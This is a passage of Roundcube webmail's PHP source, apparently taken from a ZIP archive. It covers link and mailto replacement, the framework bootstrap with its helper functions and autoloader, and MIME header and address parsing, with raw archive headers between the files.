        if (preg_match('!^(http|ftp|file)s?://!i', $scheme)) {
            $url = $matches[1] . $matches[2];
        }
        else if (preg_match("/^({$this->noword}*)(www\.)$/i", $matches[1], $m)) {
            $url        = $m[2] . $matches[2];
            $url_prefix = 'http://';
            $prefix     = $m[1];
        }

        if (!empty($url)) {
            $suffix = $this->parse_url_brackets($url);
            $attrib = isset($this->options['link_attribs']) ? (array) $this->options['link_attribs'] : [];
            $attrib['href'] = $url_prefix . $url;

            $i = $this->add(html::a($attrib, rcube::Q($url)) . $suffix);
            $this->urls[$i] = $attrib['href'];
        }

        return $i >= 0 ? $prefix . $this->get_replacement($i) : $matches[0];
    }

    /**
     * Callback to add an entry to the link index
     *
     * @param array $matches Matches result from preg_replace_callback with PREG_OFFSET_CAPTURE
     *
     * @return string Replacement string
     */
    protected function linkref_addindex($matches)
    {
        $key = $matches[1][0];

        if (!isset($this->linkrefs[$key])) {
            $this->linkrefs[$key] = [];
        }

        // Store the reference and its occurrence position
        $this->linkrefs[$key][] = [
            $this->urls[$matches[3][0]] ?? null,
            $matches[0][1]
        ];

        return $this->get_replacement($this->add('[' . $key . ']')) . $matches[2][0];
    }

    /**
     * Callback to replace link references with real links
     *
     * @param array $matches Matches result from preg_replace_callback with PREG_OFFSET_CAPTURE
     *
     * @return string Replacement string
     */
    protected function linkref_callback($matches)
    {
        $i = 0;
        $key = $matches[1][0];

        if (!empty($this->linkrefs[$key])) {
            $attrib = isset($this->options['link_attribs']) ? (array) $this->options['link_attribs'] : [];

            foreach ($this->linkrefs[$key] as $linkref) {
                $attrib['href'] = $linkref[0];
                if ($linkref[1] >= $matches[1][1]) {
                    break;
                }
            }

            $i = $this->add(html::a($attrib, rcube::Q($matches[1][0])));
        }

        return $i > 0 ? '[' . $this->get_replacement($i) . ']' : $matches[0][0];
    }

    /**
     * Callback function used to build mailto: links around e-mail strings
     *
     * @param array $matches Matches result from preg_replace_callback
     *
     * @return string Replacement string
     */
    protected function mailto_callback($matches)
    {
        $href   = $matches[1];
        $suffix = $this->parse_url_brackets($href);
        $i = $this->add(html::a('mailto:' . $href, rcube::Q($href)) . $suffix);

        return $i >= 0 ? $this->get_replacement($i) : '';
    }

    /**
     * Look up the index from the preg_replace matches array
     * and return the substitution value.
     *
     * @param array $matches Matches result from preg_replace_callback
     *
     * @return string Value at index $matches[1]
     */
    protected function replace_callback($matches)
    {
        return $this->values[$matches[1]] ?? null;
    }

    /**
     * Replace all defined (link|mailto) patterns with replacement string
     *
     * @param string $str Text
     *
     * @return string Text
     */
    public function replace($str)
    {
        if (!is_string($str)) {
            return '';
        }

        // search for patterns like links and e-mail addresses
        $str = preg_replace_callback($this->link_pattern, [$this, 'link_callback'], $str);
        $str = preg_replace_callback($this->mailto_pattern, [$this, 'mailto_callback'], $str);

        // resolve link references
/*
        This code requires PHP 7.4 and could be used instead of the two if() statements below,
        when we get there.

        $str = preg_replace_callback($this->linkref_index,
            [$this, 'linkref_addindex'], $str, -1, $count, PREG_OFFSET_CAPTURE
        );
        $str = preg_replace_callback($this->linkref_pattern,
            [$this, 'linkref_callback'], $str, -1, $count, PREG_OFFSET_CAPTURE
        );
*/
        if (preg_match_all($this->linkref_index, $str, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER)) {
            $diff = 0;
            foreach ($matches as $m) {
                $replace = $this->linkref_addindex($m);
                $str     = substr_replace($str, $replace, $m[0][1] + $diff, strlen($m[0][0]));
                $diff   += strlen($replace) - strlen($m[0][0]);
            }
        }

        if (preg_match_all($this->linkref_pattern, $str, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER)) {
            $diff = 0;
            foreach ($matches as $m) {
                $replace = $this->linkref_callback($m);
                $str     = substr_replace($str, $replace, $m[0][1] + $diff, strlen($m[0][0]));
                $diff   += strlen($replace) - strlen($m[0][0]);
            }
        }

        return $str;
    }

    /**
     * Replace substituted strings with original values
     *
     * @param string $str Text
     *
     * @return string Text
     */
    public function resolve($str)
    {
        return preg_replace_callback($this->pattern, [$this, 'replace_callback'], $str);
    }

    /**
     * Fixes bracket characters in URL handling
     *
     * @param string &$url URL
     *
     * @return string Suffix (the rest of the URL input)
     */
    protected static function parse_url_brackets(&$url)
    {
        // #1487672: special handling of square brackets,
        // URL regexp allows [] characters in URL, for example:
        // "http://example.com/?a[b]=c". However we need to handle
        // properly situation when a bracket is placed at the end
        // of the link e.g. "[http://example.com]"
        // Yes, this is not perfect handles correctly only paired characters
        // but it should work for common cases

        $suffix = '';

        if (preg_match('/(\\[|\\])/', $url)) {
            $in = false;
            for ($i=0, $len=strlen($url); $i<$len; $i++) {
                if ($url[$i] == '[') {
                    if ($in) {
                        break;
                    }
                    $in = true;
                }
                else if ($url[$i] == ']') {
                    if (!$in) {
                        break;
                    }
                    $in = false;
                }
            }

            if ($i < $len) {
                $suffix = substr($url, $i);
                $url    = substr($url, 0, $i);
            }
        }

        // Do the same for parentheses
        if (preg_match('/(\\(|\\))/', $url)) {
            $in = false;
            for ($i=0, $len=strlen($url); $i<$len; $i++) {
                if ($url[$i] == '(') {
                    if ($in) {
                        break;
                    }
                    $in = true;
                }
                else if ($url[$i] == ')') {
                    if (!$in) {
                        break;
                    }
                    $in = false;
                }
            }

            if ($i < $len) {
                $suffix = substr($url, $i);
                $url    = substr($url, 0, $i);
            }
        }

        return $suffix;
    }
}
PK
h�\:��/�/#program/lib/Roundcube/bootstrap.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | CONTENTS:                                                             |
 |   Roundcube Framework Initialization                                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Roundcube Framework Initialization
 *
 * @package    Framework
 * @subpackage Core
 */

$config = [
    'error_reporting' => E_ALL & ~E_NOTICE & ~E_STRICT,
    'display_errors'  => false,
    'log_errors'      => true,
    // Some users are not using Installer, so we'll check some
    // critical PHP settings here. Only these, which doesn't provide
    // an error/warning in the logs later. See (#1486307).
    'mbstring.func_overload' => 0,
];

// check these additional ini settings if not called via CLI
if (php_sapi_name() != 'cli') {
    $config += [
        'suhosin.session.encrypt' => false,
        'file_uploads'            => true,
        'session.auto_start'      => false,
        'zlib.output_compression' => false,
    ];
}

foreach ($config as $optname => $optval) {
    $ini_optval = filter_var(ini_get($optname), is_bool($optval) ? FILTER_VALIDATE_BOOLEAN : FILTER_VALIDATE_INT);
    if ($optval != $ini_optval && @ini_set($optname, $optval) === false) {
        $optval = !is_bool($optval) ? $optval : ($optval ? 'On' : 'Off');
        $error  = "ERROR: Wrong '$optname' option value and it wasn't possible to set it to required value ($optval).\n"
            . "Check your PHP configuration (including php_admin_flag).";

        if (defined('STDERR')) fwrite(STDERR, $error); else echo $error;
        exit(1);
    }
}

// framework constants
define('RCUBE_VERSION', '1.6.7');
define('RCUBE_CHARSET', 'UTF-8');
define('RCUBE_TEMP_FILE_PREFIX', 'RCMTEMP');

if (!defined('RCUBE_LIB_DIR')) {
    define('RCUBE_LIB_DIR', __DIR__ . '/');
}

if (!defined('RCUBE_INSTALL_PATH')) {
    define('RCUBE_INSTALL_PATH', RCUBE_LIB_DIR);
}

if (!defined('RCUBE_CONFIG_DIR')) {
    define('RCUBE_CONFIG_DIR', RCUBE_INSTALL_PATH . 'config/');
}

if (!defined('RCUBE_PLUGINS_DIR')) {
    define('RCUBE_PLUGINS_DIR', RCUBE_INSTALL_PATH . 'plugins/');
}

if (!defined('RCUBE_LOCALIZATION_DIR')) {
    define('RCUBE_LOCALIZATION_DIR', RCUBE_INSTALL_PATH . 'localization/');
}

// set internal encoding for mbstring extension
mb_internal_encoding(RCUBE_CHARSET);
mb_regex_encoding(RCUBE_CHARSET);

// make sure the Roundcube lib directory is in the include_path
$rcube_path = realpath(RCUBE_LIB_DIR . '..');
$sep        = PATH_SEPARATOR;
$regexp     = "!(^|$sep)" . preg_quote($rcube_path, '!') . "($sep|\$)!";
$path       = ini_get('include_path');

if (!preg_match($regexp, $path)) {
    set_include_path($path . PATH_SEPARATOR . $rcube_path);
}

// Register autoloader
spl_autoload_register('rcube_autoload');

// set PEAR error handling (will also load the PEAR main class)
if (class_exists('PEAR')) {
    PEAR::setErrorHandling(PEAR_ERROR_CALLBACK, function($err) { rcube::raise_error($err, true); });
}

/**
 * Similar function as in_array() but case-insensitive with multibyte support.
 *
 * @param string $needle   Needle value
 * @param array  $haystack Array to search in
 *
 * @return bool True if found, False if not
 */
function in_array_nocase($needle, $haystack)
{
    if (!is_string($needle) || !is_array($haystack)) {
        return false;
    }

    // use much faster method for ascii
    if (is_ascii($needle)) {
        foreach ((array) $haystack as $value) {
            if (is_string($value) && strcasecmp($value, $needle) === 0) {
                return true;
            }
        }
    }
    else {
        $needle = mb_strtolower($needle);
        foreach ((array) $haystack as $value) {
            if (is_string($value) && $needle === mb_strtolower($value)) {
                return true;
            }
        }
    }

    return false;
}

/**
 * Parse a human readable string for a number of bytes.
 *
 * @param string $str Input string
 *
 * @return float Number of bytes
 */
function parse_bytes($str)
{
    if (is_numeric($str)) {
        return floatval($str);
    }

    $bytes = 0;

    if (preg_match('/([0-9\.]+)\s*([a-z]*)/i', $str, $regs)) {
        $bytes = floatval($regs[1]);
        switch (strtolower($regs[2])) {
        case 'g':
        case 'gb':
            $bytes *= 1073741824;
            break;
        case 'm':
        case 'mb':
            $bytes *= 1048576;
            break;
        case 'k':
        case 'kb':
            $bytes *= 1024;
            break;
        }
    }

    return floatval($bytes);
}

/**
 * Make sure the string ends with a slash
 *
 * @param string $str A string
 *
 * @return string A string ending with a slash
 */
function slashify($str)
{
    return unslashify($str) . '/';
}

/**
 * Remove slashes at the end of the string
 *
 * @param string $str A string
 *
 * @return string A string ending with no slash
 */
function unslashify($str)
{
    return rtrim($str, '/');
}

/**
 * Returns number of seconds for a specified offset string.
 *
 * @param string $str String representation of the offset (e.g. 20min, 5h, 2days, 1week)
 *
 * @return int Number of seconds
 */
function get_offset_sec($str)
{
    if (preg_match('/^([0-9]+)\s*([smhdw])/i', $str, $regs)) {
        $amount = (int) $regs[1];
        $unit   = strtolower($regs[2]);
    }
    else {
        $amount = (int) $str;
        $unit   = 's';
    }

    switch ($unit) {
    case 'w':
        $amount *= 7;
    case 'd':
        $amount *= 24;
    case 'h':
        $amount *= 60;
    case 'm':
        $amount *= 60;
    }

    return $amount;
}

/**
 * Create a unix timestamp with a specified offset from now.
 *
 * @param string $offset_str String representation of the offset (e.g. 20min, 5h, 2days)
 * @param int    $factor     Factor to multiply with the offset
 *
 * @return int Unix timestamp
 */
function get_offset_time($offset_str, $factor = 1)
{
    return time() + get_offset_sec($offset_str) * $factor;
}

/**
 * Truncate string if it is longer than the allowed length.
 * Replace the middle or the ending part of a string with a placeholder.
 *
 * @param string $str         Input string
 * @param int    $maxlength   Max. length
 * @param string $placeholder Replace removed chars with this
 * @param bool   $ending      Set to True if string should be truncated from the end
 *
 * @return string Abbreviated string
 */
function abbreviate_string($str, $maxlength, $placeholder = '...', $ending = false)
{
    $length = mb_strlen($str);

    if ($length > $maxlength) {
        if ($ending) {
            return mb_substr($str, 0, $maxlength) . $placeholder;
        }

        $placeholder_length = mb_strlen($placeholder);
        $first_part_length  = floor(($maxlength - $placeholder_length)/2);
        $second_starting_location = $length - $maxlength + $first_part_length + $placeholder_length;

        $prefix = mb_substr($str, 0, $first_part_length);
        $suffix = mb_substr($str, $second_starting_location);
        $str    = $prefix . $placeholder . $suffix;
    }

    return $str;
}

/**
 * Get all keys from array (recursive).
 *
 * @param array $array Input array
 *
 * @return array List of array keys
 */
function array_keys_recursive($array)
{
    $keys = [];

    if (!empty($array) && is_array($array)) {
        foreach ($array as $key => $child) {
            $keys[] = $key;
            foreach (array_keys_recursive($child) as $val) {
                $keys[] = $val;
            }
        }
    }

    return $keys;
}

/**
 * Get first element from an array
 *
 * @param array $array Input array
 *
 * @return mixed First element if found, Null otherwise
 */
function array_first($array)
{
    if (is_array($array)) {
        reset($array);
        foreach ($array as $element) {
            return $element;
        }
    }
}

/**
 * Remove all non-ascii and non-word chars except ., -, _
 *
 * @param string $str          A string
 * @param bool   $css_id       The result may be used as CSS identifier
 * @param string $replace_with Replacement character
 *
 * @return string Clean string
 */
function asciiwords($str, $css_id = false, $replace_with = '')
{
    $allowed = 'a-z0-9\_\-' . (!$css_id ? '\.' : '');
    return preg_replace("/[^$allowed]+/i", $replace_with, (string) $str);
}

/**
 * Check if a string contains only ascii characters
 *
 * @param string $str           String to check
 * @param bool   $control_chars Includes control characters
 *
 * @return bool True if the string contains ASCII-only, False otherwise
 */
function is_ascii($str, $control_chars = true)
{
    $regexp = $control_chars ? '/[^\x00-\x7F]/' : '/[^\x20-\x7E]/';
    return preg_match($regexp, (string) $str) ? false : true;
}

/**
 * Compose a valid representation of name and e-mail address
 *
 * @param string $email E-mail address
 * @param string $name  Person name
 *
 * @return string Formatted string
 */
function format_email_recipient($email, $name = '')
{
    $email = trim($email);

    if ($name && $name != $email) {
        // Special chars as defined by RFC 822 need to in quoted string (or escaped).
        if (preg_match('/[\(\)\<\>\\\.\[\]@,;:"]/', $name)) {
            $name = '"'.addcslashes($name, '"').'"';
        }

        return "$name <$email>";
    }

    return $email;
}

/**
 * Format e-mail address
 *
 * @param string $email E-mail address
 *
 * @return string Formatted e-mail address
 */
function format_email($email)
{
    $email = trim($email);
    $parts = explode('@', $email);
    $count = count($parts);

    if ($count > 1) {
        $parts[$count-1] = mb_strtolower($parts[$count-1]);

        $email = implode('@', $parts);
    }

    return $email;
}

/**
 * Fix version number so it can be used correctly in version_compare()
 *
 * @param string $version Version number string
 *
 * @return string Version number string
 */
function version_parse($version)
{
    return str_replace(
        ['-stable', '-git'],
        ['.0', '.99'],
        $version
    );
}

/**
 * Use PHP5 autoload for dynamic class loading
 *
 * @param string $classname Class name
 *
 * @return bool True when the class file has been found
 *
 * @todo Make Zend, PEAR etc play with this
 * @todo Make our classes conform to a more straight forward CS.
 */
function rcube_autoload($classname)
{
    if (strpos($classname, 'rcube') === 0) {
        $classname = preg_replace('/^rcube_(cache|db|session|spellchecker)_/', '\\1/', $classname);
        $classname = 'Roundcube/' . $classname;
    }
    else if (strpos($classname, 'html_') === 0 || $classname === 'html') {
        $classname = 'Roundcube/html';
    }
    else if (strpos($classname, 'Mail_') === 0) {
        $classname = 'Mail/' . substr($classname, 5);
    }
    else if (strpos($classname, 'Net_') === 0) {
        $classname = 'Net/' . substr($classname, 4);
    }
    else if (strpos($classname, 'Auth_') === 0) {
        $classname = 'Auth/' . substr($classname, 5);
    }

    // Translate PHP namespaces into directories,
    // i.e. use \Sabre\VObject; $vcf = VObject\Reader::read(...)
    //      -> Sabre/VObject/Reader.php
    $classname = str_replace('\\', '/', $classname);

    if ($fp = @fopen("$classname.php", 'r', true)) {
        fclose($fp);
        include_once "$classname.php";
        return true;
    }

    return false;
}
PK
h�\�,�
�
�$program/lib/Roundcube/rcube_mime.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   MIME message parsing utilities                                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for parsing MIME messages
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_mime
{
    private static $default_charset;


    /**
     * Object constructor.
     */
    function __construct($default_charset = null)
    {
        self::$default_charset = $default_charset;
    }

    /**
     * Returns message/object character set name
     *
     * @return string Character set name
     */
    public static function get_charset()
    {
        if (self::$default_charset) {
            return self::$default_charset;
        }

        if ($charset = rcube::get_instance()->config->get('default_charset')) {
            return $charset;
        }

        return RCUBE_CHARSET;
    }

    /**
     * Parse the given raw message source and return a structure
     * of rcube_message_part objects.
     *
     * It makes use of the rcube_mime_decode library
     *
     * @param string $raw_body The message source
     *
     * @return object rcube_message_part The message structure
     */
    public static function parse_message($raw_body)
    {
        $conf = [
            'include_bodies'  => true,
            'decode_bodies'   => true,
            'decode_headers'  => false,
            'default_charset' => self::get_charset(),
        ];

        $mime = new rcube_mime_decode($conf);

        return $mime->decode($raw_body);
    }

    /**
     * Split an address list into a structured array list
     *
     * @param string|array $input    Input string (or list of strings)
     * @param int          $max      List only this number of addresses
     * @param bool         $decode   Decode address strings
     * @param string       $fallback Fallback charset if none specified
     * @param bool         $addronly Return flat array with e-mail addresses only
     *
     * @return array Indexed list of addresses
     */
    static function decode_address_list($input, $max = null, $decode = true, $fallback = null, $addronly = false)
    {
        // A common case when the same header is used many times in a mail message
        if (is_array($input)) {
            $input = implode(', ', $input);
        }

        $a   = self::parse_address_list((string) $input, $decode, $fallback);
        $out = [];
        $j   = 0;

        // Special chars as defined by RFC 822 need to in quoted string (or escaped).
        $special_chars = '[\(\)\<\>\\\.\[\]@,;:"]';

        if (!is_array($a)) {
            return $out;
        }

        foreach ($a as $val) {
            $j++;
            $address = trim($val['address']);

            if ($addronly) {
                $out[$j] = $address;
            }
            else {
                $name   = trim($val['name']);
                $string = '';

                if ($name && $address && $name != $address) {
                    $string = sprintf('%s <%s>', preg_match("/$special_chars/", $name) ? '"'.addcslashes($name, '"').'"' : $name, $address);
                }
                else if ($address) {
                    $string = $address;
                }
                else if ($name) {
                    $string = $name;
                }

                $out[$j] = ['name' => $name, 'mailto' => $address, 'string' => $string];
            }

            if ($max && $j == $max) {
                break;
            }
        }

        return $out;
    }

    /**
     * Decode a message header value
     *
     * @param string  $input    Header value
     * @param string  $fallback Fallback charset if none specified
     *
     * @return string Decoded string
     */
    public static function decode_header($input, $fallback = null)
    {
        $str = self::decode_mime_string((string)$input, $fallback);

        return $str;
    }

    /**
     * Decode a mime-encoded string to internal charset
     *
     * @param string $input    Header value
     * @param string $fallback Fallback charset if none specified
     *
     * @return string Decoded string
     */
    public static function decode_mime_string($input, $fallback = null)
    {
        $default_charset = $fallback ?: self::get_charset();

        // rfc: all line breaks or other characters not found
        // in the Base64 Alphabet must be ignored by decoding software
        // delete all blanks between MIME-lines, differently we can
        // receive unnecessary blanks and broken utf-8 symbols
        $input = preg_replace("/\?=\s+=\?/", '?==?', $input);

        // encoded-word regexp
        $re = '/=\?([^?]+)\?([BbQq])\?([^\n]*?)\?=/';

        // Find all RFC2047's encoded words
        if (preg_match_all($re, $input, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER)) {
            // Initialize variables
            $tmp   = [];
            $out   = '';
            $start = 0;

            foreach ($matches as $idx => $m) {
                $pos      = $m[0][1];
                $charset  = $m[1][0];
                $encoding = $m[2][0];
                $text     = $m[3][0];
                $length   = strlen($m[0][0]);

                // Append everything that is before the text to be decoded
                if ($start != $pos) {
                    $substr = substr($input, $start, $pos-$start);
                    $out   .= rcube_charset::convert($substr, $default_charset);
                    $start  = $pos;
                }
                $start += $length;

                // Per RFC2047, each string part "MUST represent an integral number
                // of characters . A multi-octet character may not be split across
                // adjacent encoded-words." However, some mailers break this, so we
                // try to handle characters spanned across parts anyway by iterating
                // through and aggregating sequential encoded parts with the same
                // character set and encoding, then perform the decoding on the
                // aggregation as a whole.

                $tmp[] = $text;
                if (!empty($matches[$idx+1]) && ($next_match = $matches[$idx+1])) {
                    if ($next_match[0][1] == $start
                        && $next_match[1][0] == $charset
                        && $next_match[2][0] == $encoding
                    ) {
                        continue;
                    }
                }

                $count = count($tmp);
                $text  = '';

                // Decode and join encoded-word's chunks
                if ($encoding == 'B' || $encoding == 'b') {
                    $rest  = '';
                    // base64 must be decoded a segment at a time.
                    // However, there are broken implementations that continue
                    // in the following word, we'll handle that (#6048)
                    for ($i=0; $i<$count; $i++) {
                        $chunk  = $rest . $tmp[$i];
                        $length = strlen($chunk);
                        if ($length % 4) {
                            $length = floor($length / 4) * 4;
                            $rest   = substr($chunk, $length);
                            $chunk  = substr($chunk, 0, $length);
                        }

                        $text .= base64_decode($chunk);
                    }
                }
                else { // if ($encoding == 'Q' || $encoding == 'q') {
                    // quoted printable can be combined and processed at once
                    for ($i=0; $i<$count; $i++) {
                        $text .= $tmp[$i];
                    }

                    $text = str_replace('_', ' ', $text);
                    $text = quoted_printable_decode($text);
                }

                $out .= rcube_charset::convert($text, $charset);
                $tmp = [];
            }

            // add the last part of the input string
            if ($start != strlen($input)) {
                $out .= rcube_charset::convert(substr($input, $start), $default_charset);
            }

            // return the results
            return $out;
        }

        // no encoding information, use fallback
        return rcube_charset::convert($input, $default_charset);
    }

    /**
     * Decode a mime part
     *
     * @param string $input    Input string
     * @param string $encoding Part encoding
     *
     * @return string Decoded string
     */
    public static function decode($input, $encoding = '7bit')
    {
        switch (strtolower($encoding)) {
        case 'quoted-printable':
            return quoted_printable_decode($input);
        case 'base64':
            return base64_decode($input);
        case 'x-uuencode':
        case 'x-uue':
        case 'uue':
        case 'uuencode':
            return convert_uudecode($input);
        case '7bit':
        default:
            return $input;
        }
    }

    /**
     * Split RFC822 header string into an associative array
     */
    public static function parse_headers($headers)
    {
        $result  = [];
        $headers = preg_replace('/\r?\n(\t| )+/', ' ', $headers);
        $lines   = explode("\n", $headers);
        $count   = count($lines);

        for ($i=0; $i<$count; $i++) {
            if ($p = strpos($lines[$i], ': ')) {
                $field = strtolower(substr($lines[$i], 0, $p));
                $value = trim(substr($lines[$i], $p+1));
                if (!empty($value)) {
                    $result[$field] = $value;
                }
            }
        }

        return $result;
    }

    /**
     * E-mail address list parser
     */
    private static function parse_address_list($str, $decode = true, $fallback = null)
    {
        // remove any newlines and carriage returns before
        $str = preg_replace('/\r?\n(\s|\t)?/', ' ', $str);

        // extract list items, remove comments
        $str = self::explode_header_string(',;', $str, true);

        // simplified regexp, supporting quoted local part
        $email_rx = '([^\s:]+|("\s*(?:[^"\f\n\r\t\v\b\s]+\s*)+"))@\S+';

        $result = [];

        foreach ($str as $key => $val) {
            $name    = '';
            $address = '';
            $val     = trim($val);

            // First token might be a group name, ignore it
            $tokens = self::explode_header_string(' ', $val);
            if (isset($tokens[0]) && $tokens[0][strlen($tokens[0])-1] == ':') {
                $val = substr($val, strlen($tokens[0]));
            }

            if (preg_match('/(.*)<('.$email_rx.')$/', $val, $m)) {
                // Note: There are cases like "Test<test@domain.tld" with no closing bracket,
                // therefor we do not include it in the regexp above, but we have to
                // remove it later, because $email_rx will catch it (#8164)
                $address = rtrim($m[2], '>');
                $name    = trim($m[1]);
            }
            else if (preg_match('/^('.$email_rx.')$/', $val, $m)) {
                $address = $m[1];
                $name    = '';
            }
            // special case (#1489092)
            else if (preg_match('/(\s*<MAILER-DAEMON>)$/', $val, $m)) {
                $address = 'MAILER-DAEMON';
                $name    = substr($val, 0, -strlen($m[1]));
            }
            else if (preg_match('/('.$email_rx.')/', $val, $m)) {
                $name = $m[1];
            }
            else {
                $name = $val;
            }

            // unquote and/or decode name
            if ($name) {
                // An unquoted name ending with colon is a address group name, ignore it
                if ($name[strlen($name)-1] == ':') {
                    $name = '';
                }

                if (strlen($name) > 1 && $name[0] == '"' && $name[strlen($name)-1] == '"') {
                    $name = substr($name, 1, -1);
                    $name = stripslashes($name);
                }

                if ($decode) {
                    $name = self::decode_header($name, $fallback);
                    // some clients encode addressee name with quotes around it
                    if (strlen($name) > 1 && $name[0] == '"' && $name[strlen($name)-1] == '"') {
                        $name = substr($name, 1, -1);
                    }
                }
            }

            if (!$address && $name) {
                $address = $name;
                $name    = '';
            }

            if ($address) {
                $address      = self::fix_email($address);
                $result[$key] = ['name' => $name, 'address' => $address];
            }
        }

        return $result;
    }

    /**
     * Explodes header (e.g. address-list) string into array of strings
     * using specified separator characters with proper handling
     * of quoted-strings and comments (RFC2822)
     *
     * @param string $separator       String containing separator characters
     * @param string $str             Header string
     * @param bool   $remove_comments Enable to remove comments
     *
     * @return array Header items
     */
    public static function explode_header_string($separator, $str, $remove_comments = false)
    {
        $length  = strlen($str);
        $result  = [];
        $quoted  = false;
        $comment = 0;
        $out     = '';

        for ($i=0; $i<$length; $i++) {
            // we're inside a quoted string
            if ($quoted) {
                if ($str[$i] == '"') {
                    $quoted = false;
                }
                else if ($str[$i] == "\\") {
                    if ($comment <= 0) {
                        $out .= "\\";
                    }
                    $i++;
                }
            }
            // we are inside a comment string
            else if ($comment > 0) {
                if ($str[$i] == ')') {
                    $comment--;
                }
                else if ($str[$i] == '(') {
                    $comment++;
                }
                else if ($str[$i] == "\\") {
                    $i++;
                }
                continue;
            }
            // separator, add to result array
            else if (strpos($separator, $str[$i]) !== false) {
                if ($out) {
                    $result[] = $out;
                }
                $out = '';
                continue;
            }
            // start of quoted string
            else if ($str[$i] == '"') {
                $quoted = true;
            }
            // start of comment
            else if ($remove_comments && $str[$i] == '(') {
                $comment++;
            }

            if ($comment <= 0) {
                $out .= $str[$i];
            }
        }

        if ($out && $comment <= 0) {
            $result[] = $out;
        }

        return $result;
    }

    /**
     * Interpret a format=flowed message body according to RFC 2646
     *
     * @param string $text  Raw body formatted as flowed text
     * @param string $mark  Mark each flowed line with specified character
     * @param bool   $delsp Remove the trailing space of each flowed line
     *
     * @return string Interpreted text with unwrapped lines and stuffed space removed
     */
    public static function unfold_flowed($text, $mark = null, $delsp = false)
    {
        $text    = preg_split('/\r?\n/', $text);
        $last    = -1;
        $q_level = 0;
        $marks   = [];

        foreach ($text as $idx => $line) {
            if ($q = strspn($line, '>')) {
                // remove quote chars
                $line = substr($line, $q);
                // remove (optional) space-staffing
                if (isset($line[0]) && $line[0] === ' ') {
                    $line = substr($line, 1);
                }

                // The same paragraph (We join current line with the previous one) when:
                // - the same level of quoting
                // - previous line was flowed
                // - previous line contains more than only one single space (and quote char(s))
                if ($q == $q_level
                    && isset($text[$last]) && $text[$last][strlen($text[$last])-1] == ' '
                    && !preg_match('/^>+ {0,1}$/', $text[$last])
                ) {
                    if ($delsp) {
                        $text[$last] = substr($text[$last], 0, -1);
                    }
                    $text[$last] .= $line;
                    unset($text[$idx]);

                    if ($mark) {
                        $marks[$last] = true;
                    }
                }
                else {
                    $last = $idx;
                }
            }
            else {
                if ($line == '-- ') {
                    $last = $idx;
                }
                else {
                    // remove space-stuffing
                    if (isset($line[0]) && $line[0] === ' ') {
                        $line = substr($line, 1);
                    }

                    $last_len = isset($text[$last]) ? strlen($text[$last]) : 0;

                    if (
                        $last_len && $line && !$q_level && $text[$last] != '-- '
                        && isset($text[$last][$last_len-1]) && $text[$last][$last_len-1] == ' '
                    ) {
                        if ($delsp) {
                            $text[$last] = substr($text[$last], 0, -1);
                        }
                        $text[$last] .= $line;
                        unset($text[$idx]);

                        if ($mark) {
                            $marks[$last] = true;
                        }
                    }
                    else {
                        $text[$idx] = $line;
                        $last = $idx;
                    }
                }
            }
            $q_level = $q;
        }

        if (!empty($marks)) {
            foreach (array_keys($marks) as $mk) {
                $text[$mk] = $mark . $text[$mk];
            }
        }

        return implode("\r\n", $text);
    }

    /**
     * Wrap the given text to comply with RFC 2646
     *
     * @param string $text    Text to wrap
     * @param int    $length  Length
     * @param string $charset Character encoding of $text
     *
     * @return string Wrapped text
     */
    public static function format_flowed($text, $length = 72, $charset = null)
    {
        $text = preg_split('/\r?\n/', $text);

        foreach ($text as $idx => $line) {
            if ($line != '-- ') {
                if ($level = strspn($line, '>')) {
                    // remove quote chars
                    $line = substr($line, $level);
                    // remove (optional) space-staffing and spaces before the line end
                    $line = rtrim($line, ' ');
                    if (isset($line[0]) && $line[0] === ' ') {
                        $line = substr($line, 1);
                    }

                    $prefix = str_repeat('>', $level) . ' ';
                    $line   = $prefix . self::wordwrap($line, $length - $level - 2, " \r\n$prefix", false, $charset);
                }
                else if ($line) {
                    $line = self::wordwrap(rtrim($line), $length - 2, " \r\n", false, $charset);
                    // space-stuffing
                    $line = preg_replace('/(^|\r\n)(From| |>)/', '\\1 \\2', $line);
                }

                $text[$idx] = $line;
            }
        }

        return implode("\r\n", $text);
    }

    /**
     * Improved wordwrap function with multibyte support.
     * The code is based on Zend_Text_MultiByte::wordWrap().
     *
     * @param string $string      Text to wrap
     * @param int    $width       Line width
     * @param string $break       Line separator
     * @param bool   $cut         Enable to cut word
     * @param string $charset     Charset of $string
     * @param bool   $wrap_quoted When enabled quoted lines will not be wrapped
     *
     * @return string Text
     */
    public static function wordwrap($string, $width = 75, $break = "\n", $cut = false, $charset = null, $wrap_quoted = true)
    {
        // Note: Never try to use iconv instead of mbstring functions here
        //       Iconv's substr/strlen are 100x slower (#1489113)

        if ($charset && $charset != RCUBE_CHARSET) {
            $charset = rcube_charset::parse_charset($charset);
            mb_internal_encoding($charset);
        }

        // Convert \r\n to \n, this is our line-separator
        $string       = str_replace("\r\n", "\n", $string);
        $separator    = "\n"; // must be 1 character length
        $result       = [];

        while (($stringLength = mb_strlen($string)) > 0) {
            $breakPos = mb_strpos($string, $separator, 0);

            // quoted line (do not wrap)
            if ($wrap_quoted && $string[0] == '>') {
                if ($breakPos === $stringLength - 1 || $breakPos === false) {
                    $subString = $string;
                    $cutLength = null;
                }
                else {
                    $subString = mb_substr($string, 0, $breakPos);
                    $cutLength = $breakPos + 1;
                }
            }
            // next line found and current line is shorter than the limit
